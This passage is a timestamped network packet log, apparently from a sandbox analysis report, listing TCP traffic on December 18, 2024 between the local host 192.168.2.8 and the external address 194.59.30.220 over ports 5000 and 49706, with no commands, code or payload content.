Dec 18, 2024 11:56:26.366576910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.366616964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.367363930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.367475033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.367525101 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.368057013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.368211985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.368252039 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.368913889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.368930101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.368973017 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.369601011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.369613886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.369652033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.370160103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.370172024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.370213032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.370986938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.370999098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.371151924 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.371782064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.371794939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.371839046 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.372597933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.372612000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.372668982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.373536110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.373548031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.373579025 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.374190092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.374202967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.374236107 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.374829054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.374849081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.374908924 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.375557899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.376395941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.376442909 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.376600027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.376612902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.376641989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.377418995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.377432108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.377482891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.378294945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.378307104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.378341913 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.379525900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.379539013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.379575968 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.380476952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.380736113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.380781889 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.381675959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.381865978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.381906986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.382925034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.383243084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.383285999 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.383918047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.383932114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.383970976 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.384648085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.384660959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.384696960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.385581017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.385593891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.385648966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.386523962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.386537075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.386584044 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.387464046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.387475967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.388367891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.388381004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.388386965 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.388416052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.389306068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.389317989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.389360905 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.389975071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.389988899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.390042067 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.390814066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.390826941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.390866041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.391724110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.391737938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.391782045 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.392568111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.392612934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.392652035 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.393177032 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.393244028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.393284082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.394416094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.394428968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.394469023 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.394783974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.395061016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.395101070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.395621061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.396671057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.396713972 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.404287100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.404304981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.404360056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.404753923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.404766083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.404824018 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.405571938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.405957937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.405998945 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.407499075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.448437929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.543876886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.543898106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.543947935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.543983936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.544172049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.544222116 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.545070887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.545083046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.545124054 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.545898914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.546082973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.546127081 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.546750069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.546935081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.546978951 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.547805071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.547991037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.548038960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.548809052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.548821926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.548873901 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.549483061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.549566984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.549609900 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.549844980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.549979925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.550021887 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.550786972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.551158905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.551201105 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.553807974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.553997993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.554039001 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.554348946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.554362059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.554375887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.554388046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.554419041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.554438114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.555022955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.555191040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.555233955 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.555660963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.555814028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.555857897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.556699038 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.556869030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.556912899 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.557540894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.557718039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.557780027 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.558762074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.558943033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.558986902 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.559627056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.559784889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.559844971 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.560363054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.560378075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.560422897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.562268972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.562284946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.562298059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.562326908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.562395096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.562442064 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.563357115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.563489914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.563534975 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.564317942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.564450979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.564496994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.565346003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.565464973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.565509081 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.566353083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.566499949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.566539049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.567466021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.567660093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.567707062 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.568392992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.568406105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.568449974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.569571018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.569582939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.569636106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.570780993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.571741104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.571784019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.573420048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.573432922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.573446035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.573457956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.573471069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.573487043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.573499918 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.573519945 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.573544025 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.574842930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.575333118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.575380087 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.576004028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.576174974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.576219082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.576896906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.576910019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.576956034 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.577794075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.577967882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.578006029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.578783035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.579122066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.579164028 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.579515934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.579862118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.579900980 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.580713987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.580876112 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.580923080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.581724882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.581902027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.581958055 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.582765102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.582952976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.582994938 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.583837986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.583972931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.584029913 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.584707022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.584851980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.584896088 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.585854053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.585866928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.585917950 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.586760044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.586772919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.586817026 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.587326050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.587512970 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.587558985 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.588023901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.588192940 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.588244915 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.589054108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.589066029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.589112043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.589792013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.589803934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.589843988 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.597174883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.597327948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.597371101 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.597661972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.597857952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.597908020 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.598716974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.598898888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.598941088 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.599900007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.651572943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.734795094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.734909058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.734970093 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.735021114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.735042095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.735076904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.735842943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.735856056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.735899925 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.736807108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.736874104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.736912012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.737771034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.737905979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.737947941 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.738807917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.738821030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.738878965 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.739670992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.740050077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.740099907 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.740756035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.740771055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.740818977 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.741559029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.742130995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.742172956 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.742588997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.742887974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.742940903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.743364096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.743424892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.743469954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.744023085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.744107008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.744144917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.744930983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.745033979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.745080948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.745852947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.746049881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.746095896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.746799946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.746968985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.747014046 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.747771978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.747848988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.747889996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.748616934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.748756886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.748806953 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.749399900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.749440908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.749488115 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.750272036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.750433922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.750474930 CET	49706	5000	192.168.2.8	194.59.30.220
